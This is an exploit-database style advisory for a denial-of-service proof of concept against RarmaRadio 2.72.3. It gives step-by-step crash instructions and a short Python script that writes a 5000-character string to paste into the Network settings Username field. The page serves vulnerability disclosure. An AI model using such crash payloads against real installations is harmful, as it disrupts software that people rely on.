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vendor:
RarmaRadio
by:
Victor Mondragón
7.8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: RarmaRadio
Affected Version From: 2.72.3
Affected Version To: 2.72.3
Patch Exists: NO
Related CWE: N/A
CPE: a:raimersoft:rarmaradio
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 7 Service Pack 1 x64
2019

RarmaRadio 2.72.3 – ‘Username’ Denial of Service (PoC)

RarmaRadio 2.72.3 is vulnerable to a denial of service attack when a maliciously crafted username is entered into the 'Username' field in the 'Network' settings. This causes the application to crash.

Mitigation:

Ensure that all user input is properly validated and sanitized before being used.
Source

Exploit-DB raw data:

#Exploit Title: RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/rarmaradio_setup.exe
#Tested Version: 2.72.3
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: rarmaradio_username.py
#2.- Open rarma_user.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed

cod = "\x41" * 5000

f = open('rarma_user.txt', 'w')
f.write(cod)
f.close()